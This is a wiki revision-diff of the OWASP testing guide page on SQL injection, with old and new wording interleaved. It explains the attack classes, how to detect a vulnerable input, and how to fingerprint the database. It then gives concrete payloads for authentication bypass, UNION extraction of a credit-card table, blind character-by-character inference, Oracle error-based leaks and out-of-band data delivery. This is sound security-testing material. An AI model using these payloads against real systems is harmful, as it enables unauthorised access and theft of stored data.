Difference between revisions of "Testing for SQL Injection (OWASP-DV-005)"

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An [[SQL injection]] attack consists of insertion or
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A [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
"injection" of a SQL query via the input data from the client to the
+
application. A successful SQL injection exploit can read sensitive data from
+
the database, modify database data (insert/update/delete), execute
+
administration operations on the database (such as shutdown the DBMS), recover
+
the content of a given file existing on the DBMS file system or write files into
+
the file system, and, in some cases, issue commands to the operating system.
+
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
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affect the execution of predefined SQL commands.
+
  
 
 
==Description of the Issue ==
 
==Description of the Issue ==
  
 
   
 
   
In general the way web
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In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:
applications construct SQL statements involving SQL syntax wrote by the
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programmers mixed with user-supplied data. Example:
+
 
   
 
   
 
<pre>select title, text from news where id=$id</pre>
 
<pre>select title, text from news where id=$id</pre>
 
   
 
   
The red part is the SQL static
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In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.
part supplied by the programmer and the variable $id contains user-supplied
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data, making the SQL statement dynamic.
+
 
   
 
   
Because the way it was
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Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.
constructed, the user can supply crafted input trying to make the original SQL
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statement execute commands at user’s behavior. The example illustrates the
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user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
+
modifying the WHERE clause adding a condition “or 1=1”.
+
 
   
 
   
 
<pre>select title, text from news where id=10 or 1=1</pre>
 
<pre>select title, text from news where id=10 or 1=1</pre>
  
SQL Injection attacks can
+
SQL Injection attacks can be divided into the following three classes:
be divided into the following three classes:
+
  
 +
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
 +
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
 +
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
 
   
 
   
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.
+
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.  
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).
+
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.
+
 
   
 
   
Independent of the attack
+
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):
class, a successful SQL Injection attack requires the attacker to craft a
+
syntactically correct SQL Query. If the application returns an error message
+
generated by an incorrect query, then it is easy to reconstruct the logic of
+
the original query and, therefore, understand how to perform the injection
+
correctly. However, if the application hides the error details, then the tester
+
must be able to reverse engineer the logic of the original query. The latter
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case is known as &quot;[[Blind SQL Injection]]&quot;.
+
 
   
 
   
About the techniques to
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* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
exploit SQL injection flaws there are five commons techniques. Also those
+
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
techniques sometimes can be used in a combined way (e.g. union operator and
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* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
out-of-band):
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* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
+
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.
* Union Operator: usually can be used when     the SQL injection flaw happens in a SELECT statement, making possible to     combine two queries into a single result.
+
* Boolean: use Boolean condition to verify     if certain conditions are true or false.
+
* Error based: this technique forces the     database to generate an error making
+
* Out-of-band: technique used to retrieve data     using a different channel (e.g., make a HTTP connection to send the     results to a web server).
+
* Time delay: use database commands (e.g.     sleep) to delay answers in conditional queries. It useful when attacker doesn’t     have some kind of answer from the application.
+
  
 
 
==SQL Injection Detection ==
 
==SQL Injection Detection ==
  
 
   
 
   
The first step in this test is to understand when the
+
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:
application connects to a DB Server in order to access some data. Typical
+
examples of cases when an application needs to talk to a DB include:
+
  
* Authentication forms: when authentication is     performed using a web form, chances are that the user credentials are     checked against a database that contains all usernames and passwords (or,     better, password hashes)
+
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user     could be used in a SQL query that extracts all relevant records from a     database
+
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their     characteristics (price, description, availability etc) are very likely to     be stored in a relational database.
+
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.
 
   
 
   
The tester has to make a list of all input fields
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The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.  
whose values could be used in crafting a SQL query, including the hidden fields
+
 
of POST requests and then test them separately, trying to interfere with the
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The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):
query and to generate an error. Consider also HTTP headers and Cookies. The
+
very first test usually consists of adding a single quote (') or a semicolon
+
(;) to the field under test. The first is used in SQL as a string terminator
+
and, if not filtered by the application, would lead to an incorrect query. The
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second is used to end a SQL statement and, if it is not filtered, it is also
+
likely to generate an error. The output of a vulnerable field might resemble
+
the following (on a Microsoft SQL Server, in this case):
+
 
   
 
   
 
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
Line 93: Line 54:
 
/target/target.asp, line 113</pre>
 
/target/target.asp, line 113</pre>
 
   
 
   
Also comments (--) and other SQL keywords like 'AND'
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Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:
and 'OR' can be used to try to modify the query. A very simple but sometimes
+
still effective technique is simply to insert a string where a number is
+
expected, as an error like the following might be generated:
+
  
 
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Line 104: Line 62:
 
</pre>
 
</pre>
 
    
 
    
Monitor all the responses from the web server and have
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Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.
a look at the HTML/javascript source code. Sometimes
+
the error is present inside them but for some reason (e.g. javascript
+
error) is not presented to the user. A full error message, like those in the
+
examples, provides a wealth of information to the tester in order to mount a
+
successful injection. However, applications often do not provide so much
+
detail: a simple '500 Server Error' or a custom error page might be issued,
+
meaning that we need to use blind injection techniques. In any case, it is very
+
important to test each field separately: only one variable must vary while all
+
the other remain constant, in order to precisely understand which parameters
+
are vulnerable and which are not.
+
 
+
 
   
 
   
 
=== Standard SQL Injection Testing ===
 
=== Standard SQL Injection Testing ===
Line 126: Line 73:
 
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>
 
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>
 
   
 
   
A similar query is generally used from the web
+
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:
application in order to authenticate a user. If the query returns a value it
+
means that inside the database a user with that
+
credentials exists, then the user is allowed to login to the system, otherwise
+
the access is denied. The values of the input fields are generally obtained
+
from the user through a web form. Suppose we insert the following Username and
+
Password values:
+
 
   
 
   
 
<pre>$username = 1' or '1' = '1</pre>
 
<pre>$username = 1' or '1' = '1</pre>
Line 142: Line 83:
 
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>
 
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>
 
   
 
   
If we suppose that the values of the parameters are
+
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:
sent to the server through the GET method, and if the domain of the vulnerable
+
web site is www.example.com, the request that we'll carry out will be:
+
 
   
 
   
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre>
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre>
 
   
 
   
After a short analysis we notice that the query
+
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.<br> ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:
returns a value (or a set of values) because the condition is always true (OR
+
1=1). In this way the system has authenticated the user without knowing the
+
username and password.<br> ''In some systems the first row of a user table would be an administrator
+
user. This may be the profile returned in some cases.'' Another example of
+
query is the following:
+
 
   
 
   
 
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>
 
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>
 
   
 
   
In this case, there are two problems, one due to the
+
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &quot;--&quot;. This said, the values that we'll use as Username and Password are:
use of the parentheses and one due to the use of MD5 hash function. First of
+
all, we resolve the problem of the parentheses. That simply consists of adding
+
a number of closing parentheses until we obtain a corrected query. To resolve
+
the second problem, we try to invalidate the second condition. We add to our
+
query a final symbol that means that a comment is beginning. In this way,
+
everything that follows such symbol is considered a comment. Every DBMS has its
+
own symbols of comment, however, a common symbol to the greater part of the
+
database is /*. In Oracle the symbol is &quot;--&quot;. This said, the values
+
that we'll use as Username and Password are:
+
  
 
<pre>$username = 1' or '1' = '1'))/*</pre>
 
<pre>$username = 1' or '1' = '1'))/*</pre>
Line 175: Line 100:
  
 
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
 
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
 +
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)
 
   
 
   
 
The URL request will be:
 
The URL request will be:
Line 180: Line 106:
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre>
 
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre>
 
   
 
   
This returns a number of values. Sometimes, the
+
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go
authentication code verifies that the number of returned tuple
+
around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:
is exactly equal to 1. In the previous examples, this situation would be
+
difficult (in the database there is only one value per user). In order to go
+
around this problem, it is enough to insert a SQL command that imposes the
+
condition that the number of the returned tuple must
+
be one. (One record returned) In order to reach this goal, we use the operator
+
&quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the tuples that we expect to be returned. With respect to the
+
previous example, the value of the fields Username and
+
Password will be modified as follows:
+
  
 
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>
 
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>
Line 209: Line 127:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
+
  
 
   
 
   
Line 216: Line 133:
  
 
   
 
   
When the tester
+
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.
try a valid value (e.g. 10 in this case), the application will return the
+
description of a product.
+
A good way to test if the application is vulnerable in this scenario
+
is play with logic, using the operators AND and OR.
+
  
 
   
 
   
Line 232: Line 145:
  
 
   
 
   
In this case, probably the application would return
+
In this case, probably the application would return some message telling us there is no content available or a blank page. Then
some message telling us there is no content available or a blanket page. Then
+
 
the tester can send a true statement and check if there is a valid result:
 
the tester can send a true statement and check if there is a valid result:
  
 
   
 
   
 
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>
 
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>
 
 
This second example can also be used to test Blind Sql Injection.
 
  
 
   
 
   
Line 246: Line 155:
  
 
   
 
   
Depending on the API which the web application is using
+
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
+
execute multiple queries in one call.
+
  
 
   
 
   
Line 263: Line 170:
  
 
   
 
   
This way is possible to execute many queries in a row
+
This way is possible to execute many queries in a row and independent of the first query.
and independent on the first query.
+
  
 
   
 
   
 
=== Fingerprinting the Database ===
 
=== Fingerprinting the Database ===
 
   
 
   
Even the SQL language is a standard,
+
Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.
every DBMS has its peculiarity and differs from each other in many aspects like
+
especial commands, functions to retrieve data such as users names and
+
databases, features, comments line etc.
+
  
 
   
 
   
When the testers move to a more advanced SQL injection
+
When the testers move to a more advanced SQL injection exploitation they need to know the backend.
exploitation they need to know the backend.
+
  
 
   
 
   
1) The first way to find out which is the backend is by
+
1) The first way to find out which is the backend is by observing the error returned by the application. Follow are some examples:
observing the error returned by the application. Follow are some examples:
+
  
 
   
 
   
Line 295: Line 196:
 
   
 
   
  
SQL Server:
+
MS SQL Server:
  
 
<pre>Microsoft SQL Native Client error ‘80040e14’
 
<pre>Microsoft SQL Native Client error ‘80040e14’
Line 319: Line 220:
 
PostgreSQL: ‘test’||’ing’
 
PostgreSQL: ‘test’||’ing’
  
 
+
==Exploitation Techniques ==
==Exploitation techniques ==
+
 
   
 
   
=== Union Exploitation technique ===
+
=== Union Exploitation Technique ===
 
    
 
    
The UNION operator is used
+
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query.  
in SQL injections to join a query, purposely forged by the tester, to the
+
The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of  
original query. The result of the forged query will be joined to the result of
+
columns of other tables. Suppose for our examples that the query executed from the server is the following:
the original query, allowing the tester to obtain the values of fields of other
+
tables. We suppose for our examples that the query executed from the server is
+
the following:
+
  
 
   
 
   
SELECT
+
SELECT Name, Phone, Address FROM Users WHERE Id=$id
Name, Phone, Address FROM Users WHERE Id=$id
+
  
 
   
 
   
We will set the following
+
We will set the following $id value:
Id value:
+
  
 
   
 
   
$id=1
+
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
+
  
 
   
 
   
We will have the following
+
We will have the following query:
query:
+
  
 
   
 
   
SELECT
+
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
+
  
 
   
 
   
which will join the result of the original query
+
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table.  
with all the credit card users. The keyword '''ALL''' is necessary to get
+
The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT.  
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
+
Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary,  
the credit card numbers, we have selected other two values. These two values
+
because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.
are necessary, because the two query must have an
+
equal number of parameters, in order to avoid a syntax error.
+
  
 
   
 
   
The first
+
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.
information the tester need to exploit the SQL injection vulnerability using
+
such technique is to find the right numbers of columns in the SELECT statement.
+
  
 
   
 
   
In order to
+
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:
achieve it the tester can use ORDER BY clause followed by a number indicating
+
the numeration of database’s column selected:
+
  
 
   
 
   
Line 373: Line 259:
  
 
   
 
   
If the query executes with success the tester will see
+
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:
the tester can assume, in this example, there are 10 or more columns in the
+
SELECT statement. If the query fails and there is an error message available
+
probably it would be:
+
  
 
   
 
   
Line 382: Line 265:
  
 
   
 
   
After the tester find out the numbers of columns, the
+
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:
next step is to find out the type of columns. Assuming there were 3 columns in
+
the example above, the tester could try each column type, using the NULL value
+
to help them:
+
  
 
   
 
   
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>
+
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>
  
 
   
 
   
If the query fails, probably the tester will see a
+
If the query fails, the tester will probably see a message like:
message like:
+
 
   
 
   
 
<pre>All cells in a column must have the same datatype</pre>
 
<pre>All cells in a column must have the same datatype</pre>
 
   
 
   
If the query executes with success, the first column
+
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:
can be an integer. Then the tester can move further and so on:
+
  
 
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>
 
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>
 
   
 
   
After the success exploitation, depending on the
+
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):
application, it will show to the tester only the first result, because the
+
application treats only the first line of the result. In this case, it is
+
possible to use LIMIT like clause or the tester can set an invalid value,
+
making only the second line valid (supposing there is no entry in the database
+
which ID is 99999):
+
  
 
   
 
   
Line 412: Line 285:
  
 
   
 
   
=== Boolean Exploitation technique ===
+
=== Boolean Exploitation Technique ===
 
   
 
   
The Boolean exploitation technique is very useful when
+
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). <br>
the tester find a [[Blind SQL Injection]] situation, in
+
 
which nothing is known on the outcome of an operation. For example, this
+
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:
behavior happens in cases where the programmer has created a custom error page
+
that does not reveal anything on the structure of the query or on the database.
+
(The page does not return a SQL error, it may just
+
return a HTTP 500). <br>
+
By using the inference methods, it is possible to avoid this obstacle and thus
+
to succeed to recover the values of some desired fields. This method consists
+
of carrying out a series of boolean
+
queries to the server, observing the answers and finally deducing the meaning
+
of such answers. We consider, as always, the www.example.com domain and we
+
suppose that it contains a parameter named id vulnerable to SQL injection. This
+
means that carrying out the following request:
+
  
 
   
 
   
 
<pre>http://www.example.com/index.php?id=1'</pre>
 
<pre>http://www.example.com/index.php?id=1'</pre>
 
   
 
   
we will get one page with a custom message error which
+
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on
is due to a syntactic error in the query. We suppose that the query executed on
+
 
the server is:
 
the server is:
  
Line 440: Line 301:
 
</pre>
 
</pre>
 
   
 
   
which is exploitable through the methods seen previously.
+
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we
What we want to obtain is the values of the username field. The tests that we
+
will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:
will execute will allow us to obtain the value of the username field,
+
extracting such value character by character. This is possible through the use
+
of some standard functions, present practically in every database. For our
+
examples, we will use the following pseudo-functions:
+
  
 
   
 
   
'''SUBSTRING (text, start, length)''': it returns a
+
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &quot;start&quot; of text and of length
substring starting from the position &quot;start&quot; of text and of length
+
&quot;length&quot;. If &quot;start&quot; is greater than the length of text, the function returns a null value.
&quot;length&quot;. If &quot;start&quot; is greater than the length of text,
+
the function returns a null value.
+
  
 
   
 
   
'''ASCII (char)''': it gives back ASCII value of the input character. A
+
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.
null value is returned if char is 0.
+
  
 
   
 
   
'''LENGTH (text)''': it gives back the length in characters of the input
+
'''LENGTH (text)''': it gives back the number of characters in the input text.
text.
+
  
 
   
 
   
Through such functions, we will execute our tests on
+
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':
the first character and, when we have discovered the value, we will pass to the
+
second and so on, until we will have discovered the entire value. The tests
+
will take advantage of the function SUBSTRING, in order to select only one
+
character at a time (selecting a single character means to impose the length
+
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
+
that we can do numerical comparison. The results of the comparison will be done
+
with all the values of the ASCII table, until the right value is found. As an
+
example, we will use the following value for ''Id'':
+
  
 
   
 
   
Line 476: Line 321:
 
</pre>
 
</pre>
 
   
 
   
that creates the following query (from now on, we will
+
That creates the following query (from now on, we will call it &quot;inferential query&quot;):
call it &quot;inferential query&quot;):
+
  
 
   
 
   
Line 483: Line 327:
 
</pre>
 
</pre>
 
   
 
   
The previous example returns a result if and only if
+
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':
the first character of the field username is equal to the ASCII value 97. If we
+
get a false value, then we increase the index of the ASCII table from 97 to 98
+
and we repeat the request. If instead we obtain a true value, we set to zero
+
the index of the ASCII table and we analyze the next character, modifying the
+
parameters of the SUBSTRING function. The problem is to understand in which way
+
we can distinguish tests returning a true value from those that return false.
+
To do this, we create a query that always returns false. This is possible by
+
using the following value for ''Id'':
+
  
 
   
 
   
Line 497: Line 333:
 
</pre>
 
</pre>
 
   
 
   
by which will create the following query:
+
Which will create the following query:
  
 
   
 
   
Line 503: Line 339:
 
</pre>
 
</pre>
 
   
 
   
The obtained response from the server (that is HTML
+
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
code) will be the false value for our tests. This is enough to verify whether
+
the value obtained from the execution of the inferential query is equal to the
+
value obtained with the test executed before. Sometimes, this method does not
+
work. If the server returns two different pages as a result of two identical
+
consecutive web requests, we will not be able to discriminate the true value
+
from the false value. In these particular cases, it is necessary to use
+
particular filters that allow us to eliminate the code that changes between the
+
two requests and to obtain a template. Later on, for every inferential request
+
executed, we will extract the relative template from the response using the
+
same function, and we will perform a control between the two templates in order
+
 
to decide the result of the test.
 
to decide the result of the test.
  
 
   
 
   
In the previous discussion, we haven't dealt with the
+
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with
problem of determining the termination condition for out tests, i.e., when we
+
the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.
should end the inference procedure. A techniques to do
+
this uses one characteristic of the SUBSTRING function and the LENGTH function.
+
When the test compares the current character with the ASCII code 0 (i.e., the
+
value null) and the test returns the value true, then either we are done with
+
the inference procedue (we have scanned the whole
+
string), or the value we have analyzed contains the null character.
+
  
 
   
 
   
Line 533: Line 353:
 
</pre>
 
</pre>
 
   
 
   
Where N is the number of characters that we have
+
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:
analyzed up to now (not counting the null value). The query will be:
+
  
 
   
 
   
Line 540: Line 359:
 
</pre>
 
</pre>
 
   
 
   
The query returns either true or false. If we obtain
+
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the
true, then we have completed inference and, therefore, we know the value of the
+
parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.
parameter. If we obtain false, this means that the null character is present in
+
the value of the parameter, and we must continue to analyze the next parameter
+
until we find another null value.
+
  
 
   
 
   
The blind SQL injection attack needs a high volume of
+
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.
queries. The tester may need an automatic tool to exploit the vulnerability.
+
  
 
   
 
   
 
=== Error based Exploitation technique ===
 
=== Error based Exploitation technique ===
 
    
 
    
The Error based
+
An Error based exploitation technique is useful when the tester for some reason can’t exploit
exploitation technique is useful when the tester for some reason can’t exploit
+
the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some
the SQL injection vulnerability using other technique such as UNION. The Error
+
data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
based technique consists in forcing the database to perform some operation in
+
which the result will be an error. The point here is to try to extract some
+
data from the database and show it in the error message. This exploitation
+
technique can be different from DBMS to DBMS (check DBMS specific session).
+
  
 
   
 
   
Line 568: Line 379:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
+
  
 
   
 
   
Line 581: Line 391:
  
 
   
 
   
In this
+
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the
example, the tester is concatenating the value 10 with the result of the
+
user. When the database looks for a hostname with the user database name, it will fail and return an error message like:
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
+
hostname of the parameter passed to it, which is other query, the name of the
+
user. When the database looks for a hostname with the user database name, it
+
will fail and return an error message like:
+
  
 
   
 
   
Line 592: Line 398:
  
 
   
 
   
Then the tester
+
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.
can manipulate the parameter passed to GET_HOST_NAME()
+
function and the result will be shown in the error message.
+
  
 
   
 
   
 
=== Out of band Exploitation technique ===
 
=== Out of band Exploitation technique ===
 
    
 
    
This technique
+
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server.
is very useful when the tester find a [[Blind SQL Injection]] situation, in
+
which nothing is known on the outcome of an operation. The technique consists in
+
the use of DBMS functions to perform an out of band connection and deliver the
+
results of the injected query as part of the request to the tester’s server.
+
  
 
   
 
   
Like the error
+
Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.
based techniques, each DBMS has its own functions. Check for specific DBMS
+
section.
+
  
 
   
 
   
Line 617: Line 415:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
+
  
 
   
 
   
Line 630: Line 427:
  
 
   
 
   
In this
+
In this example, the tester is concatenating the value 10 with the result of the
example, the tester is concatenating the value 10 with the result of the
+
